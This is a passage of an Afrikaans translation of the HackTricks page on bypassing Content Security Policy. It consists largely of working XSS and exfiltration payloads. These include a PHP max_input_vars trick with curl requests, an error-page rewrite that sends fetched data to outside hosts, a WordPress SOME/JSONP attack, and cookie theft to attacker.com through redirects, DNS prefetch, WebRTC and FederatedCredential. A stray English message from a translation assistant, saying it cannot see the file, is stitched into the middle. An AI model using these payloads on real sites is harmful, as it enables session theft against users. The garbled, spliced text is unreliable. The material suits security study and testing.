PHP is bekend daarvoor dat dit die response na 4096 bytes volgens verstek buffer. Daarom, as PHP ân waarskuwing toon, deur voldoende data binne waarskuwings te verskaf, sal die response gestuur word voor die CSP header, wat veroorsaak dat die header geĂŻgnoreer word.
Dan bestaan die tegniek basies uit om die response buffer met waarskuwings te vul sodat die CSP header nie gestuur word nie.
Idea from this writeup.
Kill CSP via max_input_vars (headers already sent)
Omdat headers voor enige output gestuur moet word, kan waarskuwings deur PHP gegenereer later header()-oproepe ongeldig maak. As gebruikersinvoer max_input_vars oorskry, gooi PHP eers ân opstartwaarskuwing; enige daaropvolgende header('Content-Security-Policy: ...') sal met âheaders already sentâ misluk, wat CSP effektief deaktiveer en andersins-gebokkkeerde reflective XSS toelaat.
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
I can translate that file to Afrikaans, but I donât see the README.md content here. Please paste the markdown content of src/pentesting-web/content-security-policy-csp-bypass/README.md and I will translate the English text to Afrikaans while preserving all markdown/html tags, links, refs and code exactly as you requested.
# CSP in place â payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
# Exceed max_input_vars to force warnings before header() â CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
Herskryf Foutbladsy
Uit this writeup blyk dit asof dit moontlik was om ân CSP-beskerming te bypass deur ân foutbladsy te laai (moontlik sonder CSP) en die inhoud daarvan te herskryf.
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)
SOME + âselfâ + wordpress
SOME is ân tegniek wat ân XSS (of hoogs beperkte XSS) in an endpoint of a page misbruik om ander endpoints van dieselfde oorsprong. Dit word gedoen deur die vulnerable endpoint vanaf ân attacker page te laai en dan die attacker page te ververs na die real endpoint in die oorsprong wat jy wil misbruik. Op hierdie manier kan die vulnerable endpoint die opener object in die payload gebruik om toegang te kry tot die DOM van die real endpoint to abuse. Vir meer inligting, kyk:
SOME - Same Origin Method Execution
Verder het wordpress ân JSONP endpoint in /wp-json/wp/v2/users/1?_jsonp=data wat die data wat gestuur word in die uitset sal weerspieĂ«l (met die beperking tot slegs letters, syfers en kolletjies).
ân Attacker kan daardie endpoint misbruik om ân SOME attack teen WordPress te genereer en dit in te sluit binne <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> Let wel dat hierdie script sal loaded word omdat dit allowed by âselfâ. Verder, en aangesien WordPress geĂŻnstalleer is, kan ân attacker dalk die SOME attack misbruik deur die vulnerable callback endpoint wat die CSP omseil om meer regte aan ân gebruiker te gee, ân nuwe plugin te installeerâŠ
Vir meer inligting oor hoe om hierdie aanval uit te voer, kyk https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
CSP Exfiltration Bypasses
As daar ân streng CSP is wat jou nie toelaat om met external servers te interact nie, is daar ân paar dinge wat jy altyd kan doen om die inligting te exfiltrate.
Location
Jy kan net die location opdateer om die geheime inligting na die attackerâs server te stuur:
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
Meta tag
Jy kan herlei deur ân meta tag in te voeg (dit is net ân herleiding, dit sal nie inhoud leak nie)
<meta http-equiv="refresh" content="1; http://attacker.com" />
DNS Prefetch
Om bladsye vinniger te laai, gaan blaaiers gasheername vooraf na IP-adresse oplos en dit in die kas stoor vir later gebruik.
Jy kan ân blaaier aandui om ân gasheernaam vooraf op te los met: <link rel="dns-prefetch" href="something.com">
Jy kan hierdie gedrag misbruik om exfiltrate sensitiewe inligting via DNS requests:
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'
Nog ân manier:
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
Om te voorkom dat dit gebeur, kan die bediener die HTTP-header stuur:
X-DNS-Prefetch-Control: off
Tip
Blykbaar werk hierdie tegniek nie in headless browsers (bots) nie
WebRTC
Op verskeie bladsye kan jy lees dat WebRTC nie die connect-src beleid van die CSP kontroleer nie.
In werklikheid kan jy leak inligting deur ân DNS request te stuur. Kyk na hierdie kode:
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
Nog ân opsie:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
CredentialsContainer
Die credential popup stuur ân DNS-versoek na die iconURL sonder dat dit deur die bladsy beperk word. Dit werk slegs in ân veilige konteks (HTTPS) of op localhost.
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)
CSP-beleide aanlyn nagaan
Outomatiese skep van CSP
https://csper.io/docs/generating-content-security-policy
Verwysings
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
- https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket
- The Art of PHP: CTFâborn exploits and techniques
â
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

